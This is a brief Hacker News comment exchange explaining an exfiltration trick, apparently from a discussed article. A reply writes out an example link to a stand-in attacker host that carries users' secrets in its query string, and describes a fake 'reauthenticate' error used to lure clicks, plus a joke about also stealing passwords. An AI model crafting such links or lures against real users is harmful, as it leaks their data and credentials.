Hacker News Reader

Comment by sam1r | Hacker News Reader

>>> If the user falls for the trick and clicks the link, the data will be exfiltrated to the attacker's server logs.

Does this mean that the user clicks the link AND AUTHENTICATES? Or simply clicks the link and the damage is done?

Simply clicks the link. The trick here is that the link they are clicking on looks like this:

    https://evil-attacker-server.com/log-this?secrets=all+the+users+secrets+are+here

So clicking the link is enough to leak the secret data gathered by the attack.

The "reauthenticate" bit was a lie to entice them users to click it to 'fix the error'. But I guess it wouldn't hurt to pull a double whammy and steal their password while we're at it...

Reply on news.ycombinator.com